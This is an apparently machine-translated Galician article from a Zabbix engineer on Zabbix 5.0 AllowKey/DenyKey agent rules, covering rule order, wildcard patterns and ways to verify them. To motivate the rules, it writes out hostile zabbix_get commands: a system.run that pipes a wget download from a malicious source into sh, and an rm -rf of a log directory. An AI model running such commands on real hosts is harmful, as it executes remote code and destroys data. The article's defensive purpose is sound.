Compatibilidade con listas negras e brancas para métricas do axente en Zabbix 5.0

Compatibilidade con listas negras e brancas para métricas do axente en Zabbix 5.0

Compatibilidade coas listas negras e brancas para as métricas do axente

Tikhon Uskov, Enxeñeiro de Integración, Zabbix

Problemas de seguridade de datos

Zabbix 5.0 ten unha nova función que che permite mellorar a seguridade nos sistemas que usan Zabbix Agent e que substitúe o parámetro antigo Activar comandos remotos.

As melloras na seguridade dos sistemas baseados en axentes derivan do feito de que un axente pode realizar un gran número de accións potencialmente perigosas.

  • O axente pode recoller case calquera información, incluída información confidencial ou potencialmente perigosa, dos ficheiros de configuración, ficheiros de rexistro, ficheiros de contrasinais ou calquera outro ficheiro.

Por exemplo, usando a utilidade zabbix_get pode acceder a unha lista de usuarios, os seus directorios de inicio, ficheiros de contrasinais, etc.

Compatibilidade con listas negras e brancas para métricas do axente en Zabbix 5.0

Acceder aos datos mediante a utilidade zabbix_get

NOTA. Os datos só se poden recuperar se o axente ten permisos de lectura no ficheiro correspondente. Pero, por exemplo, o ficheiro /etc/passwd/ lexible por todos os usuarios.

  • O axente tamén pode executar comandos potencialmente perigosos. Por exemplo, chave *system.run[]** permítelle executar calquera comando remoto en nós de rede, incluíndo a execución de scripts desde a interface web de Zabbix que tamén executan comandos no lado do axente.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • En Linux, o axente execútase por defecto sen privilexios de root, mentres que en Windows execútase como un servizo como System e ten acceso sen restricións ao sistema de ficheiros. En consecuencia, se non se realizan cambios nos parámetros do axente Zabbix despois da instalación, o axente ten acceso ao rexistro, ao sistema de ficheiros e pode executar consultas WMI.

Nas versións anteriores o parámetro EnableRemoteCommands=0 só se permite desactivar as métricas coa chave *system.run[]** e executando scripts desde a interface web, pero non había forma de restrinxir o acceso a ficheiros individuais, permitir ou desactivar chaves individuais que se instalaron co axente ou limitar o uso de parámetros individuais.

Compatibilidade con listas negras e brancas para métricas do axente en Zabbix 5.0

Usando o parámetro EnableRemoteCommand en versións anteriores de Zabbix

AllowKey/DenyKey

Zabbix 5.0 axuda a protexerse contra ese acceso non autorizado proporcionando listas brancas e listas negras para permitir e denegar métricas do axente.

En Zabbix 5.0 todas as claves, incluíndo *system.run[]** están habilitados e engadíronse dúas novas opcións de configuración de axente:

AllowKey= - comprobacións permitidas;

DenyKey= - controis prohibidos;

onde é un patrón de nome de chave con parámetros que usa metacaracteres (*).

As teclas AllowKey e DenyKey permítenche permitir ou denegar métricas individuais en función dun patrón específico. A diferenza doutros parámetros de configuración, o número de parámetros AllowKey/DenyKey non está limitado. Isto permítelle definir claramente o que pode facer exactamente o axente no sistema creando unha árbore de comprobacións: chaves executables, onde a orde na que están escritas xoga un papel moi importante.

Secuencia de regras

As regras compróbanse na orde na que se introducen no ficheiro de configuración. A chave compróbase segundo as regras antes da primeira coincidencia e, en canto a clave do elemento de datos coincida co patrón, permítese ou denegarase. Despois diso, a comprobación das regras detense e ignóranse as teclas restantes.

Polo tanto, se un elemento coincide cunha regra de permitir e de denegar, o resultado dependerá de cal sexa a primeira regra no ficheiro de configuración.

Compatibilidade con listas negras e brancas para métricas do axente en Zabbix 5.0

2 regras diferentes co mesmo patrón e unha clave vfs.file.size[/tmp/file]

A orde de uso das teclas AllowKey/DenyKey:

  1. regras exactas,
  2. regras xerais,
  3. norma prohibitiva.

Por exemplo, se necesitas acceso a ficheiros nun cartafol determinado, primeiro debes permitir o acceso a eles e, a continuación, denegar todo o que non estea dentro dos permisos establecidos. Se se usa primeiro a regra de denegación, denegarase o acceso ao cartafol.

Compatibilidade con listas negras e brancas para métricas do axente en Zabbix 5.0

Secuencia correcta

Se precisa permitir que se executen 2 utilidades a través de *system.run[]**, e a regra de denegación especificarase primeiro, as utilidades non se lanzarán, porque o primeiro patrón sempre coincidirá con calquera chave e ignoraranse as regras posteriores.

Compatibilidade con listas negras e brancas para métricas do axente en Zabbix 5.0

Secuencia incorrecta

Patróns

Regras fundamentais

O patrón é unha expresión con comodíns. O metacarácter (*) coincide con calquera número de caracteres nunha posición específica. Os metacaracteres pódense usar tanto no nome da clave como nos parámetros. Por exemplo, pode definir estrictamente o primeiro parámetro con texto, e especifique o seguinte como comodín.

Os parámetros deben ir entre corchetes [].

  • system.run[* - incorrecto
  • vfs.file*.txt] - incorrecto
  • vfs.file.*[*] - certo

Exemplos de uso de comodíns.

  1. No nome da chave e no parámetro. Neste caso, a chave non se corresponde cunha chave semellante que non conteña un parámetro, xa que no patrón indicamos que queremos recibir unha determinada finalización do nome da chave e un determinado conxunto de parámetros.
  2. Se o patrón non usa corchetes, o patrón permite todas as claves que non conteñen parámetros e nega todas as claves que conteñan o parámetro especificado.
  3. Se a clave está escrita completa e os parámetros se especifican como comodín, coincidirá con calquera clave similar con ningún parámetro e non coincidirá coa clave sen corchetes, é dicir, permitirase ou denegará.

Compatibilidade con listas negras e brancas para métricas do axente en Zabbix 5.0

Normas para cubrir parámetros.

  • Se se pretende utilizar unha clave con parámetros, os parámetros deben especificarse no ficheiro de configuración. Os parámetros deben especificarse como metacarácter. É necesario denegar coidadosamente o acceso a calquera ficheiro e ter en conta que información pode proporcionar a métrica baixo diferentes ortografías, con e sen parámetros.

Compatibilidade con listas negras e brancas para métricas do axente en Zabbix 5.0

Características de escritura de teclas con parámetros

  • Se se especifica unha clave con parámetros, pero os parámetros son opcionais e especificados como metacarácter, resolverase unha clave sen parámetros. Por exemplo, se desexa desactivar a recepción de información sobre a carga na CPU e especificar que a chave system.cpu.load[*] debe estar desactivada, non esqueza que a chave sen parámetros devolverá o valor medio de carga.

Compatibilidade con listas negras e brancas para métricas do axente en Zabbix 5.0

Normas para cubrir os parámetros

Notas

axuste

  • O usuario non pode cambiar algunhas regras, por exemplo, regras de descubrimento ou regras de rexistro automático de axentes. As regras de AllowKey/DenyKey non afectan aos seguintes parámetros:
    -Item nome de host
    - HostMetadataItem
    - HostInterfaceItem

NOTA. Se un administrador desactiva unha chave, cando se lle consulta, Zabbix non proporciona información sobre por que a métrica ou a chave entran na categoría 'NON SOPORTADO'. A información sobre as prohibicións de executar comandos remotos tampouco se mostra nos ficheiros de rexistro do axente. Isto é por motivos de seguridade, pero pode complicar a depuración se as métricas entran nunha categoría non admitida por algún motivo.

  • Non debe confiar en ningunha orde específica para conectar ficheiros de configuración externos (por exemplo, por orde alfabética).

Utilidades da liña de comandos

Despois de configurar as regras, debes asegurarte de que todo estea configurado correctamente.

Podes usar unha das tres opcións:

  • Engade unha métrica a Zabbix.
  • Proba con zabbix_agentd. Axente Zabbix con opción -imprimir (-p) mostra todas as claves (que están permitidas por defecto) excepto as que non están permitidas pola configuración. E coa opción -proba (-t) para unha chave prohibida volverá "Chave de elemento non compatible'.
  • Proba con zabbix_get. Utilidade zabbix_get con opción -k volverá'ZBX_NOTSUPPORTED: métrica descoñecida'.

Permitir ou negar

Pode denegar o acceso a un ficheiro e verificalo, por exemplo, mediante a utilidade zabbix_getque se denegue o acceso ao ficheiro.

Compatibilidade con listas negras e brancas para métricas do axente en Zabbix 5.0

**

NOTA. Ignoranse as comiñas do parámetro.

Neste caso, pódese permitir o acceso a tal ficheiro a través dun camiño diferente. Por exemplo, se unha ligazón simbólica leva a el.

Compatibilidade con listas negras e brancas para métricas do axente en Zabbix 5.0

Recoméndase comprobar varias opcións para aplicar as regras especificadas e tamén ter en conta as posibilidades de eludir as prohibicións.

Preguntas e respostas

Pregunta. Por que se escolleu un patrón tan complexo cunha linguaxe propia para describir regras, permisos e prohibicións? Por que non foi posible usar, por exemplo, as expresións regulares que usa Zabbix?

Responder. Este é un problema de rendemento de expresións regulares xa que normalmente só hai un axente e comproba un gran número de métricas. Regex é unha operación bastante pesada e non podemos comprobar miles de métricas deste xeito. Comodíns - unha solución universal, amplamente utilizada e sinxela.

Pregunta. Os ficheiros Incluír non están incluídos en orde alfabética?

Responder. Polo que sei, é practicamente imposible predicir a orde na que se aplicarán as regras se as repartes en diferentes ficheiros. Recomendo recompilar todas as regras de AllowKey/DenyKey nun ficheiro Incluír, porque interactúan entre si e incluír este ficheiro.

Pregunta. En Zabbix 5.0 a opción 'EnableRemoteCommands=' falta no ficheiro de configuración e só están dispoñibles AllowKey/DenyKey?

Resposta. si é correcto.

Спасибо за внимание!

Fonte: www.habr.com

Engadir un comentario